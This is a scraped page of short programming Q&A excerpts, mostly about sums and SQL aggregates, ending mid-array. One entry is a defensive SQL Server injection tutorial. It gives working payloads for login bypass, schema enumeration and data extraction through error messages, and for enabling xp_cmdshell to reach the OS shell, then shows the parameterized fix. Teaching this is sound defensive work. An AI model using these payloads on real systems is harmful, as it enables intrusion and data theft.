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• extract variables from an expression using javascript regexp

  - by powerboy

  For example, here is a string representing an expression: var str = 'total = sum(price * qty) * 1.09875'; I want to extract variables (i.e., 'total', 'price' and 'qty' but not 'sum' since 'sum' is a function name) from this expression. What is the regexp pattern in javascript? Variable name consists of letters, digits, or the underscore, beginning with letters or the underscore.

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• c# Why can't open generic types be passed as parameters?

  - by Rich Oliver

  Why can't open generic types be passed as parameters. I frequently have classes like: public class Example<T> where T: BaseClass { public int a {get; set;} public List<T> mylist {get; set;} } Lets say BaseClass is as follows; public BaseClass { public int num; } I then want a method of say: public int MyArbitarySumMethod(Example example)//This won't compile Example not closed { int sum = 0; foreach(BaseClass i in example.myList)//myList being infered as an IEnumerable sum += i.num; sum = sum * example.a; return sum; } I then have to write an interface just to pass this one class as a parameter as follows: public interface IExample { public int a {get; set;} public IEnumerable<BaseClass> myIEnum {get;} } The generic class then has to be modified to: public class Example<T>: IExample where T: BaseClass { public int a {get; set;} public List<T> mylist {get; set;} public IEnumerable<BaseClass> myIEnum {get {return myList;} } } That's a lot of ceremony for what I would have thought the compiler could infer. Even if something can't be changed I find it psychologically very helpful if I know the reasons / justifications for the absence of Syntax short cuts.

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• what is the best algorithm to use for this problem

  - by slim

  Equilibrium index of a sequence is an index such that the sum of elements at lower indexes is equal to the sum of elements at higher indexes. For example, in a sequence A: A[0]=-7 A[1]=1 A[2]=5 A[3]=2 A[4]=-4 A[5]=3 A[6]=0 3 is an equilibrium index, because: A[0]+A[1]+A[2]=A[4]+A[5]+A[6] 6 is also an equilibrium index, because: A[0]+A[1]+A[2]+A[3]+A[4]+A[5]=0 (sum of zero elements is zero) 7 is not an equilibrium index, because it is not a valid index of sequence A. If you still have doubts, this is a precise definition: the integer k is an equilibrium index of a sequence if and only if and . Assume the sum of zero elements is equal zero. Write a function int equi(int[] A); that given a sequence, returns its equilibrium index (any) or -1 if no equilibrium indexes exist. Assume that the sequence may be very long.

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• Trying to create fields based on a case statement

  - by dido

  I'm having some trouble with the query below. I am trying to determine if the "category" field is A, B or C and then creating a field based on the category. That field would sum up payments field. But I'm running into error saying "incorrect syntax near keyword As". I am creating this in a SQL View. Using SQL Server 2008 SELECT r.id, r.category CASE WHEN r.category = 'A' then SUM(r.payment) As A_payments WHEN r.category = 'B' then SUM(r.payment) As B_payments WHEN r.category = 'C' then SUM(r.payment) As C_payments END FROM r_invoiceTable As r GROUP BY r.id, r.category I have data where all of the above cases should be executed because the data that I have has A,B and C Sample Data- r_invoiceTable Id --- Category ---- Payment 222 A ---- 50 444 A ---- 30 111 B ---- 90 777 C ---- 20 555 C ---- 40 Desired Output A_payments = 80, B_payments = 90, C_payments = 60

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• Is scala functional programming slower than traditional coding?

  - by Fred Haslam

  In one of my first attempts to create functional code, I ran into a performance issue. I started with a common task - multiply the elements of two arrays and sum up the results: var first:Array[Float] ... var second:Array[Float] ... var sum=0f; for(ix<-0 until first.length) sum += first(ix) * second(ix); Here is how I reformed the work: sum = first.zip(second).map{ case (a,b) => a*b }.reduceLeft(_+_) When I benchmarked the two approaches, the second method takes 40 times as long to complete! Why does the second method take so much longer? How can I reform the work to be both speed efficient and use functional programming style?

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• Project Euler #119 Make Faster

  - by gangqinlaohu

  Trying to solve Project Euler problem 119: The number 512 is interesting because it is equal to the sum of its digits raised to some power: 5 + 1 + 2 = 8, and 8^3 = 512. Another example of a number with this property is 614656 = 28^4. We shall define an to be the nth term of this sequence and insist that a number must contain at least two digits to have a sum. You are given that a2 = 512 and a10 = 614656. Find a30. Question: Is there a more efficient way to find the answer than just checking every number until a30 is found? My Code int currentNum = 0; long value = 0; for (long a = 11; currentNum != 30; a++){ //maybe a++ is inefficient int test = Util.sumDigits(a); if (isPower(a, test)) { currentNum++; value = a; System.out.println(value + ":" + currentNum); } } System.out.println(value); isPower checks if a is a power of test. Util.sumDigits: public static int sumDigits(long n){ int sum = 0; String s = "" + n; while (!s.equals("")){ sum += Integer.parseInt("" + s.charAt(0)); s = s.substring(1); } return sum; } program has been running for about 30 minutes (might be overflow on the long). Output (so far): 81:1 512:2 2401:3 4913:4 5832:5 17576:6 19683:7 234256:8 390625:9 614656:10 1679616:11 17210368:12 34012224:13 52521875:14 60466176:15 205962976:16 612220032:17

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• 3x3 Average filter in matlab

  - by turingcomplete

  I've written code to smooth an image using a 3x3 averaging filter, however the output is strange, it is almost all black. Here's my code. function [filtered_img] = average_filter(noisy_img) [m,n] = size(noisy_img); filtered_img = zeros(m,n); for i = 1:m-2 for j = 1:n-2 sum = 0; for k = i:i+2 for l = j:j+2 sum = sum+noisy_img(k,l); end end filtered_img(i+1,j+1) = sum/9.0; end end end I call the function as follows: img=imread('img.bmp'); filtered = average_filter(img); imshow(uint8(filtered)); I can't see anything wrong in the code logic so far, I'd appreciate it if someone can spot the problem.

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• Is it possible to aggregate over differing where clauses?

  - by BenAlabaster

  Is it possible to calculate multiple aggregates based on differing where clauses? For instance: Let's say I have two tables, one for Invoice and one for InvoiceLineItems. The invoice table has a total field for the invoice total, and each of the invoice line item records in the InvoiceLineItems table contains a field that denotes whether the line item is discountable or not. I want three sum totals, one where Discountable = 0 and one where Discountable = 1 and one where Discountable is irrelevant. Such that my output would be: InvoiceNumber Total DiscountableTotal NonDiscountableTotal ------------- ----- ----------------- -------------------- 1 53.27 27.27 16.00 2 38.94 4.76 34.18 3... The only way I've found so far is by using something like: Select i.InvoiceNumber, i.Total, t0.Total As DiscountableTotal, t1.Total As NonDiscountableTotal From Invoices i Left Join ( Select InvoiceNumber, Sum(Amount), From InvoiceLineItems Where Discountable = 0 Group By InvoiceNumber ) As t0 On i.InvoiceNumber = t0.InvoiceNumber Left Join ( Select InvoiceNumber, Sum(Amount) From InvoiceLineItems Where Discountable = 1 Group By InvoiceNumber ) As t1 On i.InvoiceNumber = t1.InvoiceNumber This seems somewhat cumbersome, it would be nice if I could do something like: Select InvoiceNumber, Sum(Amount) Where Discountable = 1 As Discountable Sum(Amount) Where Discountable = 0 As NonDiscountable Group By InvoiceNumber I realize that SQL is completely invalid, but it logically portrays what I'm trying to do... TIA P.S. I need this to run on a SQL Server 2000 instance, but I am also interested (for future reference) if/how I would achieve this on SQL Server 2005/2008.

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• SQL with codition on calculated value

  - by user619893

  I have a table with products, their amount and their price. I need to select all entries where the average price per article is between a range. My query so far: SELECT productid,AVG(SUM(price)/SUM(amount)) AS avg FROM stock WHERE avg=$from AND avg<=$to GROUP BY productid If do this, it tells me avg doesnt exist. Also i obviously need to group by because the sum and average need to be per wine

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• What is the complexity of this c function

  - by Bunny Rabbit

  what is the complexity of the following c Function ? double foo (int n) { int i; double sum; if (n==0) return 1.0; else { sum = 0.0; for (i =0; i<n; i++) sum +=foo(i); return sum; } } Please don't just post the complexity can you help me in understanding how to go about it . EDIT: It was an objective question asked in an exam and the Options provided were 1.O(1) 2.O(n) 3.O(n!) 4.O(n^n)

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• Can I add a list of integers directly without looping through it?

  - by VJ

  I have a List of integers - List<int> intlist= new List<int>(); Can I just say - intlist.Sum();//I know sum() is already there as a function but I dont know how I can use it and get the sum of that list without looping through it.

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• jQuery calculate total on change

  - by mapet

  amount A. 2 B. 3 C. 3 Quantity A. 4 B. 5 C. 2 Total A. 6 B. 8 C. 5 sum(19) i need some idea of script and method of jquery to make this simple i have already done the edit function of amount and Quantity. but its really hard for me to sum up the amount + quantity = total and sum(total). any idea guys? :(

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• Variable number of arguments in VB

  - by Kratz

  How to create a function with variable number of arguments in visual basic? ex. x = Sum(1,2,3) y = Sum(1,2) Function Sum('how to declare argument here') 'Is there any special argument manipulation inside function before it is usable? End Function

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• syntax problem crating a method that returns an object (java)

  - by David

  I'm trying to create a method that will sum two timeO objects and return a new TimeO object called sum. Here is the relevant code snippet: public static TimeO add (TimeO t1, TimeO t2) { TimeO sum = new TimeO ; ... } When i try to compile it i get this error message: TimeO.java:15: '(' or '[' expected TimeO sum = new TimeO ; ^ 1 error i cant think of any reason why it would want me to open a set of parenthasies or brackets here but its possible that i dont' quite understand the syntax. Whats going wrong here?

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• reuse generators

  - by wiso

  I need to check the central limit with dices. Rool D dices. Sum the results. Repeat the same thing for N times. Change D and repeat. There's no need to store random values so I want to use only generators. The problem is that generators are consuming, I can't resuging them more times. Now my code use explicit for and I don't like it. dice_numbers = (1, 2, 10, 100, 1000) repetitions = 10000 for dice_number in dice_numbers: # how many dice to sum sum_container = [] for r in range(repetitions): rool_sum = sum((random.randint(1,6) for _ in range(dice_number))) sum_container.append(rool_sum) plot_histogram(sum_container) I want to create something like for r in repetitions: rools_generator = (random.randint(1,6) for _ in range(dice_number) sum_generator = (sum(rools_generator) for _ in range(r)) but the second time I resuse rools_generator it is condumed. I need to construct generator class?

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• Does this collection operator method also work on the iPhone?

  - by dontWatchMyProfile

  NSNumber *salaryOverhead = [anEmployee valueForKeyPath:@"[email protected]"];

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• Confusing alias mySQL

  - by Taylor

  I keep getting the same number outputted for the Total Sales, Minimum Sale, Largest Sale and Average Sale. The Total Invoices is working perfectly, but I cant seem to figure out how to fix the other ones. Here's the query: SELECT SUM( b.`Number of Invoices`) AS `Total Invoices`, SUM( b.`Total Customer Purchases`) AS `Total Sales`, MIN( b.`Total Customer Purchases`) AS `Minimum Sale`, MAX( b.`Total Customer Purchases`) AS `Largest Sale`, AVG( b.`Total Customer Purchases`) AS `Average Sale` FROM (SELECT a.CUS_CODE, COUNT(a.`Number of Invoices`) AS `Number of Invoices`, SUM(a.`Invoice Total`) AS `Total Customer Purchases` FROM ( SELECT CUS_CODE, LINE.INV_NUMBER AS `Number of Invoices`, SUM(LINE.LINE_UNITS * LINE.LINE_PRICE) AS `Invoice Total` FROM `ttriggs`.`INVOICE`, `ttriggs`.`LINE` WHERE INVOICE.INV_NUMBER = LINE.INV_NUMBER GROUP BY CUS_CODE, LINE.INV_NUMBER ) a ) b GROUP BY b.CUS_CODE; Heres the database diagram https://www.dropbox.com/s/b8cy5l29jwh8lyv/1_edit.jpg Subquery generates: CUS_CODE 10011 Number of Invoices 8 Total Customer Purchases 1119.03 Any help is greatly appreciated, Thanks!

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• LINQ Query and DateTimes....

  - by AlwaysBeCoding

  Im trying to get the Sum() from an Entityset with the next query. (from MyObject p in SelectedObject.MyObjectEntitySet where p.AColumn.HasValue && (p.ADate >= dateTimeValue && p.ADate <= dateTimeValue2) select p.AColumn.Value).Sum(); with no luck retrieving correct sum. Any Ideas?

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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• What's The Difference Between Imperative, Procedural and Structured Programming?

  - by daniels

  By researching around (books, Wikipedia, similar questions on SE, etc) I came to understand that Imperative programming is one of the major programming paradigms, where you describe a series of commands (or statements) for the computer to execute (so you pretty much order it to take specific actions, hence the name "imperative"). So far so good. Procedural programming, on the other hand, is a specific type (or subset) of Imperative programming, where you use procedures (i.e., functions) to describe the commands the computer should perform. First question: Is there an Imperative programming language which is not procedural? In other words, can you have Imperative programming without procedures? Update: This first question seems to be answered. A language CAN be imperative without being procedural or structured. An example is pure Assembly language. Then you also have Structured programming, which seems to be another type (or subset) of Imperative programming, which emerged to remove the reliance on the GOTO statement. Second question: What is the difference between procedural and structured programming? Can you have one without the other, and vice-versa? Can we say procedural programming is a subset of structured programming, as in the image?

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• Finding maximum number of congruent numbers

  - by Stefan Czarnecki

  Let's say we have a multiset (set with possible duplicates) of integers. We would like to find the size of the largest subset of the multiset such that all numbers in the subset are congruent to each other modulo some m 1. For example: 1 4 7 7 8 10 for m = 2 the subsets are: (1, 7, 7) and (4, 8, 10), both having size 3. for m = 3 the subsets are: (1, 4, 7, 7, 10) and (8), the larger set of size 5. for m = 4 the subsets are: (1), (4, 8), (7, 7), (10), the largest set of size 2. At this moment it is evident that the best answer is 5 for m = 3. Given m we can find the size of the largest subset in linear time. Because the answer is always equal or larger than half of the size of the set, it is enough to check for values of m upto median of the set. Also I noticed it is necessary to check for only prime values of m. However if values in the set are large the algorithm is still rather slow. Does anyone have any ideas how to improve it?

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• SQL Azure Database Size Calculator

  - by kaleidoscope

  A neat trick on how to measure your database size in SQL Azure.  Here are the exact queries you can run to do it: Select Sum (reserved_page_count) * 8.0 / 1024 From sys.dm_db_partition_stats GO Select sys.objects.name, sum (reserved_page_count) * 8.0 / 1024 From sys.dm_db_partition_stats, sys.objects Where sys.dm_db_partition_stats.object_id = sys.objects.object_id Group by sys.objects.name The first one will give you the size of your database in MB and the second one will do the same, but break it out for each object in your database. http://www.azurejournal.com/2010/03/sql-azure-database-size-calculator/   Ritesh, D

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• MySQL: operation of summing and division ?

  - by Nick

  Alright, so I have a user table and would like to get the max value for the user with the highest amount of points divided by a score. Below is a rough idea of what I'm looking for: SELECT MAX(SUM(points)/SUM(score)) FROM users I'm not interested in adding up both columns and dividing, rather I'm interested in dividing the points and score for each user and retrieve the highest value out of the lot.

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• Inference engine to calculate matching set according to internal rules

  - by Zecrates

  I have a set of objects with attributes and a bunch of rules that, when applied to the set of objects, provides a subset of those objects. To make this easier to understand I'll provide a concrete example. My objects are persons and each has three attributes: country of origin, gender and age group (all attributes are discrete). I have a bunch of rules, like "all males from the US", which correspond with subsets of this larger set of objects. I'm looking for either an existing Java "inference engine" or something similar, which will be able to map from the rules to a subset of persons, or advice on how to go about creating my own. I have read up on rule engines, but that term seems to be exclusively used for expert systems that externalize the business rules, and usually doesn't include any advanced form of inferencing. Here are some examples of the more complex scenarios I have to deal with: I need the conjunction of rules. So when presented with both "include all males" and "exclude all US persons in the 10 - 20 age group," I'm only interested in the males outside of the US, and the males within the US that are outside the 10 - 20 age group. Rules may have different priorities (explicitly defined). So a rule saying "exclude all males" will override a rule saying "include all US males." Rules may be conflicting. So I could have both an "include all males" and an "exclude all males" in which case the priorities will have to settle the issue. Rules are symmetric. So "include all males" is equivalent to "exclude all females." Rules (or rather subsets) may have meta rules (explicitly defined) associated with them. These meta rules will have to be applied in any case that the original rule is applied, or if the subset is reached via inferencing. So if a meta rule of "exclude the US" is attached to the rule "include all males", and I provide the engine with the rule "exclude all females," it should be able to inference that the "exclude all females" subset is equivalent to the "include all males" subset and as such apply the "exclude the US" rule additionally. I can in all likelihood live without item 5, but I do need all the other properties mentioned. Both my rules and objects are stored in a database and may be updated at any stage, so I'd need to instantiate the 'inference engine' when needed and destroy it afterward.

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• How to optimize dynamic programming?

  - by Chan

  Problem A number is called lucky if the sum of its digits, as well as the sum of the squares of its digits is a prime number. How many numbers between A and B are lucky? Input: The first line contains the number of test cases T. Each of the next T lines contains two integers, A and B. Output: Output T lines, one for each case containing the required answer for the corresponding case. Constraints: 1 <= T <= 10000 1 <= A <= B <= 10^18 Sample Input: 2 1 20 120 130 Sample Output: 4 1 Explanation: For the first case, the lucky numbers are 11, 12, 14, 16. For the second case, the only lucky number is 120. The problem is quite simple if we use brute force, however the running time is so critical that my program failed most test cases. My current idea is to use dynamic programming by storing the previous sum in a temporary array, so for example: sum_digits(10) = 1 -> sum_digits(11) = sum_digits(10) + 1 The same idea is applied for sum square but with counter equals to odd numbers. Unfortunately, it still failed 9 of 10 test cases which makes me think there must be a better way to solve it. Any idea would be greatly appreciated. #include <iostream> #include <vector> #include <string> #include <algorithm> #include <unordered_map> #include <unordered_set> #include <cmath> #include <cassert> #include <bitset> using namespace std; bool prime_table[1540] = { 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 